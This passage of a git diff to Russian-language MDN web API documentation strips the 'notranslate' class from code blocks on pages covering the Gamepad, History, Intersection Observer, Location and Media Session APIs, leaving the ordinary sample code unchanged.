href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">посмотреть исходники на GitHub</a>). Важно — в Chrome {{domxref("Navigator.getGamepads")}} необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox {{domxref("Navigator.getGamepads")}} нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов {{domxref("GamepadButton")}}; Свойство {{domxref("GamepadButton.value")}} или {{domxref("GamepadButton.pressed")}} необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> -<pre class="brush: js notranslate">function gameLoop() { +<pre class="brush: js">function gameLoop() { if(navigator.webkitGetGamepads) { var gp = navigator.webkitGetGamepads()[0]; diff --git a/files/ru/web/api/gamepadbutton/pressed/index.html b/files/ru/web/api/gamepadbutton/pressed/index.html index 999b15582d..f97f697ab8 100644 --- a/files/ru/web/api/gamepadbutton/pressed/index.html +++ b/files/ru/web/api/gamepadbutton/pressed/index.html @@ -9,12 +9,12 @@ translation_of: Web/API/GamepadButton/pressed <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute">var isPressed = navigator.getGamepads()[0].pressed; +<pre class="syntaxbox"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute">var isPressed = navigator.getGamepads()[0].pressed; </span></span></pre> <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0]; // Get the first gamepad object +<pre class="brush: js">var gp = navigator.getGamepads()[0]; // Get the first gamepad object if(gp.buttons[0].pressed == true) { // respond to button being pressed diff --git a/files/ru/web/api/gamepadbutton/value/index.html b/files/ru/web/api/gamepadbutton/value/index.html index cf0f8274f9..27ab35d435 100644 --- a/files/ru/web/api/gamepadbutton/value/index.html +++ b/files/ru/web/api/gamepadbutton/value/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/GamepadButton/value <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute"> readonly attribute <span class="idlAttrType">double</span> <span class="idlAttrName">value</span>;</span></span></pre> +<pre class="syntaxbox"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute"> readonly attribute <span class="idlAttrType">double</span> <span class="idlAttrName">value</span>;</span></span></pre> <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0]; +<pre class="brush: js">var gp = navigator.getGamepads()[0]; if(gp.buttons[0].value > 0) { // respond to analog button being pressed in diff --git a/files/ru/web/api/globaleventhandlers/onkeydown/index.html b/files/ru/web/api/globaleventhandlers/onkeydown/index.html index 7b571592f5..04de1619ca 100644 --- a/files/ru/web/api/globaleventhandlers/onkeydown/index.html +++ b/files/ru/web/api/globaleventhandlers/onkeydown/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/GlobalEventHandlers/onkeydown <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">element.onkeydown = <var>event handling code</var> +<pre class="syntaxbox">element.onkeydown = <var>event handling code</var> </pre> <h3 id="Значение">Значение</h3> @@ -28,12 +28,12 @@ translation_of: Web/API/GlobalEventHandlers/onkeydown <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><input> +<pre class="brush: html"><input> <p id="log"></p></pre> <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">const input = document.querySelector('input'); +<pre class="brush: js">const input = document.querySelector('input'); const log = document.getElementById('log'); input.onkeydown = logKey; diff --git a/files/ru/web/api/history/go/index.html b/files/ru/web/api/history/go/index.html index 2a64e0eb93..f571cd8cfe 100644 --- a/files/ru/web/api/history/go/index.html +++ b/files/ru/web/api/history/go/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/History/go <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">history.go([<em>delta</em>])</pre> +<pre class="syntaxbox">history.go([<em>delta</em>])</pre> <h3 id="Параметры">Параметры</h3> @@ -30,23 +30,23 @@ translation_of: Web/API/History/go <p>Перемещение на 1 страницу назад (аналог вызова {{domxref("History.back", "back()")}}):</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> +<pre class="brush: js line-numbers language-js"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> <p>Перемещение на страницу вперёд, как {{domxref("History.forward", "forward()")}}:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> +<pre class="brush: js line-numbers language-js"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> <p>Перемещение на 2 страницы вперёд:</p> -<pre class="brush: js notranslate">history.go(2);</pre> +<pre class="brush: js">history.go(2);</pre> <p>Перемещение на 2 страницы назад:</p> -<pre class="brush: js notranslate">history.go(-2);</pre> +<pre class="brush: js">history.go(-2);</pre> <p>Также, оба этих вызова перезагрузят страницу:</p> -<pre class="brush: js notranslate">history.go(); +<pre class="brush: js">history.go(); history.go(0);</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/history/pushstate/index.html b/files/ru/web/api/history/pushstate/index.html index 014e34ae6f..df5d6fc489 100644 --- a/files/ru/web/api/history/pushstate/index.html +++ b/files/ru/web/api/history/pushstate/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/History/pushState <h2 id="Синтаксис">Синтаксис</h2> -<pre class="notranslate">history.pushState(<var>state</var>, <var>title</var>[, <var>url</var>]) +<pre>history.pushState(<var>state</var>, <var>title</var>[, <var>url</var>]) </pre> <h3 id="Параметры">Параметры</h3> @@ -57,7 +57,7 @@ translation_of: Web/API/History/pushState <h3 id="JavaScript">JavaScript</h3> -<pre class="notranslate">const state = { 'page_id': 1, 'user_id': 5 } +<pre>const state = { 'page_id': 1, 'user_id': 5 } const title = '' const url = 'hello-world.html' diff --git a/files/ru/web/api/history/replacestate/index.html b/files/ru/web/api/history/replacestate/index.html index f9d79dd43d..ee54ccefa7 100644 --- a/files/ru/web/api/history/replacestate/index.html +++ b/files/ru/web/api/history/replacestate/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/History/replaceState <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">history.replaceState(<em>stateObj</em>, <em>title</em>, [<em>url</em>])</pre> +<pre class="syntaxbox">history.replaceState(<em>stateObj</em>, <em>title</em>, [<em>url</em>])</pre> <h3 id="Параметры">Параметры</h3> @@ -26,7 +26,7 @@ translation_of: Web/API/History/replaceState <p>Предположим, на странице <code>http://mozilla.org/foo.html</code> выполняется следующий JavaScript-код:</p> -<pre class="notranslate">let stateObj = { foo: "bar" } +<pre>let stateObj = { foo: "bar" } history.pushState(stateObj, "page 2", "bar.html") </pre> @@ -34,7 +34,7 @@ history.pushState(stateObj, "page 2", "bar.html") <p>Далее, предположим, на странице <code>http://mozilla.org/bar.html</code> выполняется JavaScript-код:</p> -<pre class="notranslate">history.replaceState(stateObj, "page 3", "bar2.html") +<pre>history.replaceState(stateObj, "page 3", "bar2.html") </pre> <p>Это приведёт к тому, что в URL-строке отобразится адрес <code>http://mozilla.org/bar2.html</code>, но браузер не станет сразу загружать <code>bar2.html</code> и даже не станет проверять наличие этой страницы <code>bar2.html</code>.</p> diff --git a/files/ru/web/api/history/state/index.html b/files/ru/web/api/history/state/index.html index 82b65cd3f7..aba004c406 100644 --- a/files/ru/web/api/history/state/index.html +++ b/files/ru/web/api/history/state/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/History/state <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">const <em>currentState</em> = history.state</pre> +<pre class="syntaxbox">const <em>currentState</em> = history.state</pre> <h3 id="Значение">Значение</h3> @@ -21,7 +21,7 @@ translation_of: Web/API/History/state <p>Код, приведённый ниже, выводит в консоль значение <code>history.state</code> до и после применения метода {{domxref("History.pushState","pushState()")}}, который записывает значение в историю.</p> -<pre class="brush: js notranslate">// Выведет null потому что мы пока не изменяли стек истории +<pre class="brush: js">// Выведет null потому что мы пока не изменяли стек истории console.log(`History.state before pushState: ${history.state}`); // Теперь запишем какое-нибудь значение в стек diff --git a/files/ru/web/api/history_api/index.html b/files/ru/web/api/history_api/index.html index ed100ee574..580c8c833b 100644 --- a/files/ru/web/api/history_api/index.html +++ b/files/ru/web/api/history_api/index.html @@ -19,13 +19,13 @@ translation_of: Web/API/History_API <p>Чтобы переместиться назад по истории:</p> -<pre class="brush: js notranslate">window.history.back(); +<pre class="brush: js">window.history.back(); </pre> <p>Данный метод работает так, будто пользователь нажал на кнопку "Назад" на панели браузера.<br> Похожим образом можно переместиться вперёд (как если бы пользователь нажал на кнопку "Вперёд"):</p> -<pre class="brush: js notranslate">window.history.forward(); +<pre class="brush: js">window.history.forward(); </pre> <h3 id="Перемещение_к_определённой_странице_в_истории">Перемещение к определённой странице в истории</h3> @@ -34,25 +34,25 @@ translation_of: Web/API/History_API <p>Вернуться на одну страницу назад (равноценно вызову {{DOMxRef("History.back","back()")}}):</p> -<pre class="brush: js notranslate">window.history.go(-1); +<pre class="brush: js">window.history.go(-1); </pre> <p>Перейти на одну страницу вперёд (равноценно вызову {{DOMxRef("History.forward","forward()")}})</p> -<pre class="brush: js notranslate">window.history.go(1); +<pre class="brush: js">window.history.go(1); </pre> <p>По такому же принципу, можно перемещаться вперёд на 2 страницы, передавая аргумент <code>2</code>, и так далее.</p> <p>Кроме того, метод <code>go()</code> можно использовать для обновления текущей страницы, передавая аргумент <code>0</code> или вызывая его без аргументов:</p> -<pre class="notranslate">// Обе следующих инструкции обновляют текущую страницу +<pre>// Обе следующих инструкции обновляют текущую страницу window.history.go(0) window.history.go()</pre> <p>Узнать количество страниц, которые находятся в стеке истории, можно, получив значение свойства <code>length</code>:</p> -<pre class="brush: js notranslate">var numberOfEntries = window.history.length; +<pre class="brush: js">var numberOfEntries = window.history.length; </pre> <h2 id="Интерфейсы">Интерфейсы</h2> @@ -66,7 +66,7 @@ window.history.go()</pre> <p>В следующем примере свойству <code>onpopstate</code> назначается обработчик. А затем приводятся некоторые методы объекта истории для добавления, замени и перемещения по истории текущей вкладки браузера</p> -<pre class="notranslate">window.onpopstate = function(event) { +<pre>window.onpopstate = function(event) { alert(`location: ${document.location}, state: ${JSON.stringify(event.state)}`) } diff --git a/files/ru/web/api/history_api/working_with_the_history_api/index.html b/files/ru/web/api/history_api/working_with_the_history_api/index.html index 46f6fbafd9..9027e6b13e 100644 --- a/files/ru/web/api/history_api/working_with_the_history_api/index.html +++ b/files/ru/web/api/history_api/working_with_the_history_api/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/History_API/Working_with_the_History_API <p>Предположим, на странице <code>http://mozilla.org/foo.html</code> выполняется следующий JavaScript-код:</p> -<pre class="brush: js notranslate">let stateObj = { +<pre class="brush: js">let stateObj = { foo: "bar", } @@ -90,7 +90,7 @@ history.pushState(stateObj, "page 2", "bar.html") <p>Предположим, на странице <code><span class="nowiki">http://mozilla.org/foo.html</span></code> выполняется следующий JavaScript-код:</p> -<pre class="brush: js notranslate">let stateObj = { foo: "bar" } +<pre class="brush: js">let stateObj = { foo: "bar" } history.pushState(stateObj, "page 2", "bar.html") </pre> @@ -98,7 +98,7 @@ history.pushState(stateObj, "page 2", "bar.html") <p>Далее, предположим, на странице <code><span class="nowiki">http://mozilla.org/bar.html</span></code><span class="nowiki"> выполняется JavaScript-код:</span></p> -<pre class="brush: js notranslate">history.replaceState(stateObj, "page 3", "bar2.html") +<pre class="brush: js">history.replaceState(stateObj, "page 3", "bar2.html") </pre> <p>Это приведёт к тому, что в URL-строке отобразится адрес <code><span class="nowiki">http://mozilla.org/bar2.html</span></code><span class="nowiki">, но браузер не станет сразу загружать </span><code>bar2.html</code> и даже не станет проверять наличие этой страницы <code>bar2.html</code>.</p> @@ -117,7 +117,7 @@ history.pushState(stateObj, "page 2", "bar.html") <p>С помощью свойства {{DOMxRef("History.state","history.state")}} можно прочитать состояние текущей записи в истории, не дожидаясь события <code>popstate</code>, например:</p> -<pre class="brush: js notranslate">let currentState = history.state +<pre class="brush: js">let currentState = history.state </pre> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/htmlaudioelement/audio/index.html b/files/ru/web/api/htmlaudioelement/audio/index.html index 57abf54f62..d118155c00 100644 --- a/files/ru/web/api/htmlaudioelement/audio/index.html +++ b/files/ru/web/api/htmlaudioelement/audio/index.html @@ -12,7 +12,7 @@ original_slug: Web/API/HTMLAudioElement/Audio() <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>audioObj</em> = new Audio(<em>url</em>);</pre> +<pre class="syntaxbox"><em>audioObj</em> = new Audio(<em>url</em>);</pre> <h3 id="Параметры">Параметры</h3> @@ -44,7 +44,7 @@ original_slug: Web/API/HTMLAudioElement/Audio() <p>Лучший подход, основанный на событии:</p> -<pre class="brush: js notranslate">myAudioElement.addEventListener("canplaythrough", event => { +<pre class="brush: js">myAudioElement.addEventListener("canplaythrough", event => { /* аудио может быть воспроизведено; проиграть, если позволяют разрешения */ myAudioElement.play(); });</pre> diff --git a/files/ru/web/api/htmlcanvaselement/capturestream/index.html b/files/ru/web/api/htmlcanvaselement/capturestream/index.html index e7b9eb4481..983a0ef2f7 100644 --- a/files/ru/web/api/htmlcanvaselement/capturestream/index.html +++ b/files/ru/web/api/htmlcanvaselement/capturestream/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/HTMLCanvasElement/captureStream <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>MediaStream</var> = <var>canvas</var>.captureStream(<var>frameRate</var>); +<pre class="syntaxbox"><var>MediaStream</var> = <var>canvas</var>.captureStream(<var>frameRate</var>); </pre> <h3 id="Параметры">Параметры</h3> @@ -32,7 +32,7 @@ translation_of: Web/API/HTMLCanvasElement/captureStream <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">// Поиск элемента canvas для захвата +<pre class="brush: js">// Поиск элемента canvas для захвата var canvasElt = document.querySelector("canvas"); // Получение потока diff --git a/files/ru/web/api/htmlelement/offsetleft/index.html b/files/ru/web/api/htmlelement/offsetleft/index.html index aace6b67d7..ec44a76d10 100644 --- a/files/ru/web/api/htmlelement/offsetleft/index.html +++ b/files/ru/web/api/htmlelement/offsetleft/index.html @@ -13,14 +13,14 @@ translation_of: Web/API/HTMLElement/offsetLeft <h2 id="Syntax">Syntax</h2> -<pre class="eval notranslate"><var>left</var> = <var>element</var>.offsetLeft; +<pre class="eval"><var>left</var> = <var>element</var>.offsetLeft; </pre> <p><code><var>left</var></code> is an integer representing the offset to the left in pixels <em>from the closest relatively positioned</em> parent element.</p> <h2 id="Example">Example</h2> -<pre class="brush: js notranslate">var colorTable = document.getElementById("t1"); +<pre class="brush: js">var colorTable = document.getElementById("t1"); var tOLeft = colorTable.offsetLeft; if (tOLeft > 5) { @@ -32,7 +32,7 @@ if (tOLeft > 5) { <p><img alt="Image:offsetLeft.jpg" class="internal" src="/@api/deki/files/790/=OffsetLeft.jpg"></p> -<pre class="brush: html notranslate"><div style="width: 300px; border-color:blue; border-style:solid; border-width:1;"> +<pre class="brush: html"><div style="width: 300px; border-color:blue; border-style:solid; border-width:1;"> <span>Short span. </span> <span id="longspan">Long span that wraps within this div.</span> </div> diff --git a/files/ru/web/api/htmlformelement/elements/index.html b/files/ru/web/api/htmlformelement/elements/index.html index dbd4e1ddcd..a1e9d8d068 100644 --- a/files/ru/web/api/htmlformelement/elements/index.html +++ b/files/ru/web/api/htmlformelement/elements/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/HTMLFormElement/elements <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate"><em>nodeList</em> = <em>HTMLFormElement</em>.elements +<pre class="syntaxbox"><em>nodeList</em> = <em>HTMLFormElement</em>.elements </pre> <h3 id="Value">Value</h3> @@ -34,13 +34,13 @@ translation_of: Web/API/HTMLFormElement/elements <p>In this example, we see how to obtain the list of form controls as well as how to access its members by index and by name or ID.</p> -<pre class="brush: html notranslate"><form id="my-form"> +<pre class="brush: html"><form id="my-form"> <input type="text" name="username"> <input type="text" name="full-name"> <input type="password" name="password"> </form></pre> -<pre class="brush:js notranslate">var inputs = document.getElementById("my-form").elements; +<pre class="brush:js">var inputs = document.getElementById("my-form").elements; var inputByIndex = inputs[0]; var inputByName = inputs["username"]; </pre> @@ -49,7 +49,7 @@ var inputByName = inputs["username"]; <p>This example gets the form's element list, then iterates over the list, looking for {{HTMLElement("input")}} elements of type <code><a href="/en-US/docs/Web/HTML/Element/input/text">"text"</a></code> so that some form of processing can be performed on them.</p> -<pre class="brush: js notranslate">var inputs = document.getElementById("my-form").elements; +<pre class="brush: js">var inputs = document.getElementById("my-form").elements; // Iterate over the form controls for (i = 0; i < inputs.length; i++) { @@ -62,7 +62,7 @@ for (i = 0; i < inputs.length; i++) { <h3 id="Disabling_form_controls">Disabling form controls</h3> -<pre class="brush: js notranslate">var inputs = document.getElementById("my-form").elements; +<pre class="brush: js">var inputs = document.getElementById("my-form").elements; // Iterate over the form controls for (i = 0; i < inputs.length; i++) { diff --git a/files/ru/web/api/htmlmediaelement/abort_event/index.html b/files/ru/web/api/htmlmediaelement/abort_event/index.html index 50d9bcfc9b..82045136cf 100644 --- a/files/ru/web/api/htmlmediaelement/abort_event/index.html +++ b/files/ru/web/api/htmlmediaelement/abort_event/index.html @@ -30,7 +30,7 @@ translation_of: Web/API/HTMLMediaElement/abort_event <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">const video = document.querySelector('video'); +<pre class="brush: js">const video = document.querySelector('video'); const videoSrc = 'https://path/to/video.webm'; video.addEventListener('abort', () => { diff --git a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html index 8c3ac3595c..c4cab59903 100644 --- a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html +++ b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <p>Структура Web-приложений не очень сложна. Мы будем использовать <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a> для стилизации и макетирования, так что всё достаточно очевидно:</p> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <header> <h1>A Fake Blog</h1> <h2>Showing Intersection Observer in action!</h2> @@ -55,7 +55,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <p>Мы создаём стили для {{HTMLElement("body")}} и {{HTMLElement("main")}} так, чтобы определить фоновый цвет и сеточную систему.</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { font-family: "Open Sans", "Arial", "Helvetica", sans-serif; background-color: aliceblue; } @@ -83,7 +83,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <p>Заголовок достаточно прост, так как в нашем примере он содержит небольшой текст.</p> -<pre class="brush: css notranslate">header { +<pre class="brush: css">header { grid-column: 1 / -1; grid-row: 1; background-color: aliceblue; @@ -95,7 +95,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <p>Боковая панель используется для показа ссылок на другие страницы приложения. Ни одна из них не будет работать в нашем примере. Вся боковая панель нужна, чтобы просто приблизить внешний вид приложения к реальному блогу. Боковая панель создаётся с помощью элемента {{HTMLElement("aside")}}.</p> -<pre class="brush: css notranslate">aside { +<pre class="brush: css">aside { grid-column: 1; grid-row: 2; background-color: cornsilk; @@ -120,7 +120,7 @@ aside ul li a { <p>Контент будет содержаться в элементе {{HTMLElement("main")}}.</p> -<pre class="brush: css notranslate">main { +<pre class="brush: css">main { grid-column: 2; grid-row: 2; margin: 0; @@ -134,7 +134,7 @@ aside ul li a { <p>Каждая статья состоит из элемента {{HTMLElement("article")}}:</p> -<pre class="brush: css notranslate">article { +<pre class="brush: css">article { background-color: white; padding: 6px; } @@ -153,7 +153,7 @@ article h2 { <p>Наконец, рекламные блоки. Нужно заметить, что каждый отдельный рекламный блок может изменять свои стили динамически (мы увидим это позже):</p> -<pre class="brush: css notranslate">.ad { +<pre class="brush: css">.ad { height: 96px; padding: 6px; border-color: #555; @@ -187,7 +187,7 @@ article h2 { <p>Перейдём к JavaScript-коду, который всё оживит. Начнём с глобальных переменных:</p> -<pre class="brush: js notranslate">let contentBox; +<pre class="brush: js">let contentBox; let nextArticleID = 1; let visibleAds = new Set(); @@ -217,7 +217,7 @@ let refreshIntervalID = 0;</pre> <p>Для первичного запуска приложения мы вызовем функцию <code>startup()</code>:</p> -<pre class="brush: js notranslate">window.addEventListener("load", startup, false); +<pre class="brush: js">window.addEventListener("load", startup, false); function startup() { contentBox = document.querySelector("main"); @@ -253,7 +253,7 @@ function startup() { <p>Давайте рассмотрим обработчик события {{event("visibilitychange")}}. Это событие срабатывает, когда документ становится видим или невидим. Как правило, это случается, когда пользователь переключается между табами. Так как Intersection Observer отслеживает только перекрытия элемента с корневым элементом, нам необходимо отдельно позаботиться о детекции видимости документа. Для этого мы используем <a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility API</a>.</p> -<pre class="brush: js notranslate">function handleVisibilityChange() { +<pre class="brush: js">function handleVisibilityChange() { if (document.hidden) { if (!previouslyVisibleAds) { previouslyVisibleAds = visibleAds; @@ -282,7 +282,7 @@ function startup() { <p>При каждой итерации в браузерном event loop, каждый наблюдатель {{domxref("IntersectionObserver")}} проверяет, не прошёл ли какой-либо из элементов-целей через пороговые значения наблюдателя. Для каждого наблюдателя список таких целей собирается в один список и отправляется в колбэк-функцию наблюдателя. Каждый элемент списка - это {{domxref("IntersectionObserverEntry")}} объект. В нашем приложении <code>intersectionCallback()</code> выглядит так:</p> -<pre class="brush: js notranslate">function intersectionCallback(entries) { +<pre class="brush: js">function intersectionCallback(entries) { entries.forEach(function(entry) { let adBox = entry.target; @@ -308,7 +308,7 @@ function startup() { <p>Каждую секунду у нас срабатывает интервал <code>handleRefreshInterval()</code>, который мы задали в функции <code>startup()</code>. Главная задача этого интервала - обновлять таймеры каждую секунду и перерисовывать значение таймеров.</p> -<pre class="brush: js notranslate">function handleRefreshInterval() { +<pre class="brush: js">function handleRefreshInterval() { let redrawList = []; visibleAds.forEach(function(adBox) { @@ -339,7 +339,7 @@ function startup() { <p>Ранее мы уже видели, что если нам нужно обновить общее время видимости рекламы - мы вызываем функцию <code>updateAdTimer()</code>. Эта функция принимает в качестве аргумента объект {{domxref("HTMLDivElement")}}.</p> -<pre class="brush: js notranslate">function updateAdTimer(adBox) { +<pre class="brush: js">function updateAdTimer(adBox) { let lastStarted = adBox.dataset.lastViewStarted; let currentTime = performance.now(); @@ -373,7 +373,7 @@ function startup() { <p>Внутри каждого рекламного блока мы отображаем текущее значение общего времени видимости в формате мин:сек. Для этого мы передаём в функцию <code>drawAdTimer</code> контейнер:</p> -<pre class="brush: js notranslate">function drawAdTimer(adBox) { +<pre class="brush: js">function drawAdTimer(adBox) { let timerBox = adBox.querySelector(".timer"); let totalSeconds = adBox.dataset.totalViewTime / 1000; let sec = Math.floor(totalSeconds % 60); @@ -390,7 +390,7 @@ function startup() { <p>Функция <code>buildContents()</code> вызывается при старте приложения. Она формирует тело статьи и добавляет рекламные блоки:</p> -<pre class="brush: js notranslate">let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" + +<pre class="brush: js">let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" + " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" + " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" + " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" + @@ -419,7 +419,7 @@ function buildContents() { <p>Для создания элемента статьи {{HTMLElement("article")}} и её содержимого мы используем функцию <code>createArticle()</code>, которая в качестве входных данных принимает строку-текст статьи.</p> -<pre class="brush: js notranslate">function createArticle(contents) { +<pre class="brush: js">function createArticle(contents) { let articleElem = document.createElement("article"); articleElem.id = nextArticleID; @@ -440,7 +440,7 @@ function buildContents() { <p>Функция <code>loadRandomAd()</code> имитирует загрузку рекламы и её добавление на страницу. Если вы не указываете значение для <code>replaceBox</code>, создаётся и применяется новый контейнер для рекламы. Если вы указали <code>replaceBox</code>, этот контейнер рассматривается, как уже существующий элемент. Вместо создания нового, существующий элемент изменяется, чтобы содержать актуальные данные. Это помогает избежать риска неэффективной перерисовки элементов, если вы сначала будете удалять элемент из DOM, а затем вставлять новый.</p> -<pre class="brush: js notranslate">function loadRandomAd(replaceBox) { +<pre class="brush: js">function loadRandomAd(replaceBox) { let ads = [ { bgcolor: "#cec", @@ -537,7 +537,7 @@ function buildContents() { <p>Наша {{anch("Handling intersection changes", "функция обработки перекрытия")}} отслеживает рекламные блоки. Когда они становятся на 100% и общее время их видимости достаточное для того, рекламный блок заменяется на новый. Когда это происходит, вызывается функция <code>replaceAd()</code>.</p> -<pre class="brush: js notranslate">function replaceAd(adBox) { +<pre class="brush: js">function replaceAd(adBox) { let visibleTime; updateAdTimer(adBox); diff --git a/files/ru/web/api/keyboardevent/altkey/index.html b/files/ru/web/api/keyboardevent/altkey/index.html index 2f728d093f..615078acee 100644 --- a/files/ru/web/api/keyboardevent/altkey/index.html +++ b/files/ru/web/api/keyboardevent/altkey/index.html @@ -9,12 +9,12 @@ translation_of: Web/API/KeyboardEvent/altKey <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>altKeyPressed</em> = <em>instanceOfKeyboardEvent</em>.altKey +<pre class="syntaxbox">var <em>altKeyPressed</em> = <em>instanceOfKeyboardEvent</em>.altKey </pre> <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate"><html> +<pre class="brush: js"><html> <head> <title>altKey example</title> diff --git a/files/ru/web/api/location/reload/index.html b/files/ru/web/api/location/reload/index.html index 1b92be71f9..271f81772b 100644 --- a/files/ru/web/api/location/reload/index.html +++ b/files/ru/web/api/location/reload/index.html @@ -17,12 +17,12 @@ translation_of: Web/API/Location/reload <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>location</em>.reload(); +<pre class="syntaxbox"><em>location</em>.reload(); </pre> <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">// Перезагрузить текущую страницу +<pre class="brush: js">// Перезагрузить текущую страницу document.location.reload();</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/location/replace/index.html b/files/ru/web/api/location/replace/index.html index 2a33c1a694..398c9637a4 100644 --- a/files/ru/web/api/location/replace/index.html +++ b/files/ru/web/api/location/replace/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/Location/replace <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>object</em>.replace(<em>url</em>); +<pre class="syntaxbox"><em>object</em>.replace(<em>url</em>); </pre> <h3 id="Параметры">Параметры</h3> @@ -31,7 +31,7 @@ translation_of: Web/API/Location/replace <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">// Перейти на статью Location.reload, заменив текущую страницу +<pre class="brush: js">// Перейти на статью Location.reload, заменив текущую страницу document.location.replace('https://developer.mozilla.org/en-US/docs/Web/API/Location.reload');</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/media_session_api/index.html b/files/ru/web/api/media_session_api/index.html index a48ea17748..d309040785 100644 --- a/files/ru/web/api/media_session_api/index.html +++ b/files/ru/web/api/media_session_api/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/Media_Session_API <p>Главный интерфейс Media Session API -- {{domxref("MediaSession")}}. Не нужно создавать собственный экземпляр <code>MediaSession</code>, доступ к API осуществляется через свойство {{domxref("navigator.mediaSession")}}. Например, следующий код укажет, что страница воспроизводит медиа в данный момент:</p> -<pre class="brush: js notranslate">navigator.mediaSession.playbackState = "playing";</pre> +<pre class="brush: js">navigator.mediaSession.playbackState = "playing";</pre> <h2 id="Интерфейсы">Интерфейсы</h2> @@ -50,7 +50,7 @@ translation_of: Web/API/Media_Session_API <p>Данный пример демонстрирует работу и определение доступности Media Session API. Также, он передаёт метаданные и определяет собственные обработчики событий:</p> -<pre class="brush: js notranslate">if ('mediaSession' in navigator) { +<pre class="brush: js">if ('mediaSession' in navigator) { navigator.mediaSession.metadata = new MediaMetadata({ title: 'Unforgettable', artist: 'Nat King Cole', @@ -75,7 +75,7 @@ translation_of: Web/API/Media_Session_API <p>Некоторые браузеры отключают автовоспроизведение медиаэлементов на мобильных устройствах и требуют действий пользователя для начала воспроизведения. Этот пример добавит обработчик события <code>pointerup</code> для кнопки воспроизведения на странице, который начнёт работу с медиасессией:</p> -<pre class="brush: js notranslate">playButton.addEventListener('pointerup', function(event) { +<pre class="brush: js">playButton.addEventListener('pointerup', function(event) { var audio = document.querySelector('audio'); // Пользователь нажал кнопку, начинаем воспроизведение... diff --git a/files/ru/web/api/mediadevices/getusermedia/index.html b/files/ru/web/api/mediadevices/getusermedia/index.html index 5946146162..c6f8390675 100644 --- a/files/ru/web/api/mediadevices/getusermedia/index.html +++ b/files/ru/web/api/mediadevices/getusermedia/index.html @@ -15,7 +15,7 @@ translation_of: 